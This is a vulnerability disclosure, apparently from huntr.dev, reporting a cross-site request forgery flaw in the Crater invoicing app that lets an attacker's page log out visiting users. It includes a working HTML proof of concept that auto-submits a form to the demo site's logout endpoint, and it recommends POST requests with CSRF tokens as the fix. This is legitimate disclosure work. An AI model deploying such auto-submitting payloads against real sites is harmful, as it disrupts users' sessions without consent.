Cross-Site Request Forgery (CSRF) in crater-invoice/crater

2022-01-2704:07:48

khanhchauminh

www.huntr.dev

csrf

crater-invoice

unintentional logout

security vulnerability

EPSS

0.001

Percentile

30.0%

JSON

Description

An attacker is able to log out a user if a logged-in user visits the attacker’s website.

Proof of Concept

&lt;html&gt;
	&lt;body&gt;
	&lt;script&gt;history.pushState('', '', '/')&lt;/script&gt;
		&lt;form action="https://demo.craterapp.com/auth/logout"&gt;
			&lt;input type="submit" value="Submit request" /&gt;
		&lt;/form&gt;
		&lt;script&gt;
			document.forms[0].submit();
		&lt;/script&gt;
	&lt;/body&gt;
&lt;/html&gt;

Impact

This vulnerability is capable of forging users to unintentional logout.

More details

One way GET could be abused here is that a person (competitor perhaps:) placed an image tag with src="<your logout link>" anywhere on the internet, and if a user of your site stumbles upon that page, he will be unknowingly logged out. This is why it should be a POST with a CSRF token.